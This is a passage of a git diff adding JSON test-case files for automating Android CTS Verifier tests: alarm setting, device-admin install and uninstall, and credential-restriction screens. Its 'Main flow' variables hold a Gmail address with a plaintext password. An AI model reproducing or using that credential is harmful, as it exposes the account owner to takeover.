alarms\",\"actionId\":\"1875c96a-f2f3-46a3-817f-8aa111099f87\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"time_header\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/time_header\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - UI to manage alarms\",\"actionId\":\"c68217f5-c171-432b-a9cd-75f5b782b11f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"ampm_layout\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/ampm_layout\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - UI to manage alarms\",\"actionId\":\"21c2c96d-dea4-448b-9827-cab2c7860736\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"radial_picker\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/radial_picker\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - click 6\",\"actionId\":\"affa2bba-591b-4040-838e-84832e6d9805\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"Alarm set for 6:00\",\"delayAfterActionMs\":3000,\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"6\"}]},\"clickAfterValidation\":true},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - click 0\",\"actionId\":\"f9d16bb9-e5e7-4427-a85d-11cc18b916fc\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"Alarm set for 6:00\",\"delayAfterActionMs\":3000,\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"0\"}]},\"clickAfterValidation\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, OK\",\"actionId\":\"5e2e4b66-1a1f-461f-ada1-418f13aa075f\",\"actionType\":\"CLICK_ACTION\",\"actionDescription\":\"id/button1\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY\",\"actionId\":\"515058f4-60b7-4ab1-965b-623111426d53\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"6:00\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"bb66d1a1-583b-4c5f-8eb8-d636ab1aeb32\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"3832f622-3408-4968-9429-c0c9e11905d5\",\"d25d2a84-bf35-484f-83e9-296eae3c7f3c\",\"72458175-85cc-4a16-8836-c9ab50337d38\",\"5e148d0d-5bd1-4519-9aae-4397b58df44d\",\"1875c96a-f2f3-46a3-817f-8aa111099f87\",\"c68217f5-c171-432b-a9cd-75f5b782b11f\",\"21c2c96d-dea4-448b-9827-cab2c7860736\",\"affa2bba-591b-4040-838e-84832e6d9805\",\"f9d16bb9-e5e7-4427-a85d-11cc18b916fc\",\"5e2e4b66-1a1f-461f-ada1-418f13aa075f\",\"515058f4-60b7-4ab1-965b-623111426d53\",\"61f8f3bd-bae5-4a38-949c-f759cda9375e\",\"bb66d1a1-583b-4c5f-8eb8-d636ab1aeb32\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Alarms and Timers Tests-Set Alarm Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.032000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ed37b636-1904-49d8-a5cc-4f6046f1358b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ed37b636-1904-49d8-a5cc-4f6046f1358b
new file mode 100644
index 0000000..67f48e8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ed37b636-1904-49d8-a5cc-4f6046f1358b
@@ -0,0 +1 @@
+{"uuid":"ed37b636-1904-49d8-a5cc-4f6046f1358b","details":"{\"type\":\"CompoundAction\",\"name\":\"Click\\\"Clear restriction(before leaving test)\\\" button\",\"actionId\":\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Clear restriction (before leaving test)\",\"actionId\":\"24589f88-c551-4bf6-a354-f7b7ab0ba638\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Clear restriction (before leaving test)\"}],\"childrenIdList\":[\"24589f88-c551-4bf6-a354-f7b7ab0ba638\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click\"Clear restriction(before leaving test)\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.093000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ef1953d2-3590-451b-a0a5-e129f37a328e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ef1953d2-3590-451b-a0a5-e129f37a328e
new file mode 100644
index 0000000..3181841
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ef1953d2-3590-451b-a0a5-e129f37a328e
@@ -0,0 +1 @@
+{"uuid":"ef1953d2-3590-451b-a0a5-e129f37a328e","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Device Admin Uninstall Test\",\"actionId\":\"ef1953d2-3590-451b-a0a5-e129f37a328e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"install CtsEmptyDeviceAdmin_apk\",\"actionId\":\"8a4a0b5e-fd80-42ee-a50a-0aaeeb7b87fa\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"commandLine\":\"install -r -t $uicd_CtsEmptyDeviceAdmin_apk_path\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Device Admin Uninstall Test\",\"actionId\":\"bd5b3775-00b7-47ea-a9ea-b48b4078ef70\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Device Admin Uninstall Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"8143ab23-8ec9-4f7e-9630-15a342e26a14\",\"displayText\":\"Device Admin Uninstall Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Device Admin Uninstall Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":592.75,\"x2\":351.25,\"y2\":634.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":103.5,\"y\":614.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":76.5,\"y\":-0.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"8143ab23-8ec9-4f7e-9630-15a342e26a14\",\"firstText\":\"Device Admin Uninstall Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Device Admin Uninstall Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":597.0,\"x2\":199.0,\"y2\":631.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Device Admin Uninstall Test\",\"actionId\":\"a807ff56-8eed-440c-a542-2a8b9dc9db7f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device Admin Uninstall Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/enable_device_admin_button\",\"actionId\":\"55047c1c-54d3-4cac-99a7-6feb9713b7e1\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/enable_device_admin_button\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to active button\",\"actionId\":\"8c4435cc-20f8-4ad3-aaee-acba7df1e9d1\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.settings:id/action_button\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"cf2d2f1a-de43-4194-8bc2-5b3507a8c53e\",\"displayText\":\"Activate this device admin app\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"41a6b34b-2f3b-4e4b-a653-54b93027335c\",\"displayText\":\"Activate this device admin app\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/action_button\",\"text\":\"Activate this device admin app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":469.0,\"x2\":197.66666666666666,\"y2\":511.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-17.16666666666667,\"y\":-0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Activate this device admin app\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/restricted_action\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":469.0,\"x2\":197.66666666666666,\"y2\":511.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":116.0,\"y\":490.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-17.16666666666667,\"y\":-0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"41a6b34b-2f3b-4e4b-a653-54b93027335c\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.settings:id/action_button\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":8.0,\"y1\":475.0,\"x2\":224.0,\"y2\":506.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, activate button\",\"actionId\":\"9851f9da-39e4-4ace-98eb-92771d9993e3\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/action_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/open_app_details_button\",\"actionId\":\"c57c005f-7f00-4e73-9508-9c5dfea2c72f\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/open_app_details_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, uninstall button\",\"actionId\":\"bcfc37ff-b8a2-4ff4-902b-02abaa0b2cbb\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button2\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to deactivate and uninstall button\",\"actionId\":\"7896dfe9-22dd-4178-864b-db47abb77999\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.settings:id/action_button\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"23c3fba7-acd9-48fb-9249-96838c9c46a1\",\"displayText\":\"Deactivate & uninstall\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"a9de4a8d-b7ef-46aa-bc90-0f26c7c5b3be\",\"displayText\":\"Deactivate & uninstall\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/action_button\",\"text\":\"Deactivate & uninstall\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":512.0,\"x2\":144.66666666666666,\"y2\":554.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.6666666666666714,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Deactivate & uninstall\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/restricted_action\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":512.0,\"x2\":144.66666666666666,\"y2\":554.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":73.0,\"y\":533.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.6666666666666714,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"a9de4a8d-b7ef-46aa-bc90-0f26c7c5b3be\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.settings:id/action_button\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":9.0,\"y1\":517.0,\"x2\":137.0,\"y2\":549.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, deactivate and uninstall button\",\"actionId\":\"e53288c2-609e-49d1-908c-1dfa808f2fde\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/action_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, OK button\",\"actionId\":\"ef677300-4561-4670-aad6-1aab61b49782\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"8a4a0b5e-fd80-42ee-a50a-0aaeeb7b87fa\",\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"bd5b3775-00b7-47ea-a9ea-b48b4078ef70\",\"a807ff56-8eed-440c-a542-2a8b9dc9db7f\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"55047c1c-54d3-4cac-99a7-6feb9713b7e1\",\"8c4435cc-20f8-4ad3-aaee-acba7df1e9d1\",\"9851f9da-39e4-4ace-98eb-92771d9993e3\",\"c57c005f-7f00-4e73-9508-9c5dfea2c72f\",\"bcfc37ff-b8a2-4ff4-902b-02abaa0b2cbb\",\"7896dfe9-22dd-4178-864b-db47abb77999\",\"e53288c2-609e-49d1-908c-1dfa808f2fde\",\"ef677300-4561-4670-aad6-1aab61b49782\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_CtsEmptyDeviceAdmin_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsEmptyDeviceAdmin.apk\"}}","name":"test_Device Admin Uninstall Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.048000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/efa1531b-c47e-47c6-9d0b-adc244b0a251 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/efa1531b-c47e-47c6-9d0b-adc244b0a251
new file mode 100644
index 0000000..92cbe9e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/efa1531b-c47e-47c6-9d0b-adc244b0a251
@@ -0,0 +1 @@
+{"uuid":"efa1531b-c47e-47c6-9d0b-adc244b0a251","details":"{\"type\":\"CompoundAction\",\"name\":\"Main flow\",\"actionId\":\"efa1531b-c47e-47c6-9d0b-adc244b0a251\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"13c45392-93fc-4bf8-8983-fd7be6dc8af6\",\"a91daeb8-73a8-424c-8e9f-c3c6ddef543c\",\"8d92c21e-306b-4992-822e-10c25a38d781\",\"3d93f0c9-abd2-4d15-92a3-5fc55f696ba9\",\"69b2597b-78ef-450d-975a-d5bef105c512\",\"c42d7405-be13-45c1-bead-84f86ce54262\",\"ed26761a-7dc5-4235-a35f-48025edbd3f3\",\"10a43a2f-1557-43cb-b85f-95ced16d5bb4\",\"7afb9f81-dffa-45af-ad3e-2a3a5b7b4bc8\",\"24e3e587-1271-4917-a395-3feff520ca73\",\"ef1953d2-3590-451b-a0a5-e129f37a328e\",\"06810fdd-824c-400e-bbff-edf98e42d3e8\",\"e056b93a-c19a-4f20-9cd8-640a8523dec4\",\"c60af00e-9503-4c6d-a6f1-410419405024\",\"c21b516b-b794-463c-8bd1-649826d334bb\",\"82a744f4-d253-4c94-aa27-c798b739cfbc\",\"dfed233b-4141-4e7e-a70f-5884c712f689\",\"82f3ce72-96fe-4814-8b68-119a165c3cbf\",\"56cbd2d5-2a74-4b2f-aaf1-d2fe2aa5f479\",\"e2afa6de-5d79-4e1f-ad1a-b6e88e31e5a3\",\"6ab4ade4-e911-49f5-8972-bdc1b31049c5\",\"a3c0955c-29f4-4488-af69-d765f068c4ea\",\"dec009bd-6ca5-4baa-81d1-a00929a711a4\",\"cf14915f-d938-43d7-b09b-40a0a3c80fd8\",\"f22363c9-d58a-4b5b-8f6a-91b236ec8d11\",\"fa3d7096-4016-48dd-94f4-f199e7a2a978\",\"8f00d919-0c82-4e55-8710-3a76734da2b3\",\"40e973e7-1cab-4d00-918a-195bb7aab758\",\"e6aec7f0-e259-4914-9474-2ca7a5e3f45d\",\"935be38e-341a-455b-a52d-709e620f3641\",\"d36bec86-b515-4a70-9f5e-2dfcce3d0306\",\"c0787b92-a6be-4e72-a8b9-7b99d133be03\",\"992e890c-3aa6-43e1-9940-2a9f042811d6\",\"65349586-080c-4006-843f-5d5d8b9e9cd9\",\"c7a524d7-b4b3-4e41-a6ae-2deaa4af43e5\",\"e7c7dfa6-ef14-40bd-8f3d-dc7fac99aefe\",\"b3a44797-fe64-4100-8e0e-9ccbd497c945\",\"44fc4c64-e1d3-4482-8b56-b1c0c547722d\",\"3c16507a-cc79-4124-a23e-b402ec47f45b\",\"24c45902-8535-4376-b06f-88f06b115ca6\",\"a0c5135b-fa0e-4dc2-99be-662638d5c19e\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"# Camera\\n$uicd_camera=Camera,\\n$uicd_camera_take_photo=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_mode=Video,\\n$uicd_camera_video_record=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_video_stop=com.google.android.GoogleCamera:id/shutter_button,\\n$uicd_camera_done=Done,\\n\\n# Device administration\\n$uicd_CtsEmptyDeviceAdmin_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsEmptyDeviceAdmin.apk,\\n\\n# Instant APPs\\n$uicd_instant_app_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsVerifierInstantApp.apk,\\n\\n# Managed provisioning\\n$uicd_DeviceOwner_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsEmptyDeviceOwner.apk,\\n$uicd_permissionapp_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsPermissionApp.apk,\\n$uicd_NotificationBot_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/NotificationBot.apk,\\n$uicd_device_owner_WiFi_configuration_SSID_default=chtn,\\n$uicd_device_owner_WiFi_configuration_SSID=wifitest,\\n$uicd_Gmail_account=playinstallapk01@gmail.com,\\n$uicd_Gmail_account_password=@DoubleCare20,\\n\\n# Notifications\\n$uicd_NotificationBot_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/NotificationBot.apk,\\n$uicd_notification_reply_field=android:id/reply_icon_action,\\n\\n# Other\\n$uicd_recent_task_removal_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsForceStopHelper.apk,\"}}","name":"Main flow","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.066000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f00f3a0d-8419-4e58-a636-d75d84accafb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f00f3a0d-8419-4e58-a636-d75d84accafb
new file mode 100644
index 0000000..cf88191
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/f00f3a0d-8419-4e58-a636-d75d84accafb
@@ -0,0 +1 @@
+{"uuid":"f00f3a0d-8419-4e58-a636-d75d84accafb","details":"{\"type\":\"CompoundAction\",\"name\":\"15-05-Disallow config credentials\",\"actionId\":\"f00f3a0d-8419-4e58-a636-d75d84accafb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow config credentials\",\"actionId\":\"9d3dc510-b1b9-47f4-98d0-779104009936\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow config credentials\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"97542e37-dde0-484c-bcc7-49a9abdb5889\",\"displayText\":\"Disallow config credentials\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow config credentials\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":253.33333333333334,\"x2\":360.0,\"y2\":297.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":108.0,\"y\":275.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":72.0,\"y\":0.3333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"97542e37-dde0-484c-bcc7-49a9abdb5889\",\"firstText\":\"Disallow config credentials\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow config credentials\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":4.0,\"y1\":263.0,\"x2\":212.0,\"y2\":287.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config credentials\",\"actionId\":\"872646b3-7169-484b-b107-ccc06a0145ec\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config credentials\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"004a5c66-7254-40fd-909a-b8614a1a1273\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find Encryption & credentials\",\"actionId\":\"5095b69f-89dd-4f11-b89a-98c84e2d977b\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Encryption & credentials\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"77aa9924-4e3e-4e8a-bdd4-516e77fea936\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"23bd03c4-b956-4b43-b7e8-d9bb6030e2a2\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b8d8a8a8-2ff4-4fdc-b4f9-04397134106e\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Encryption & 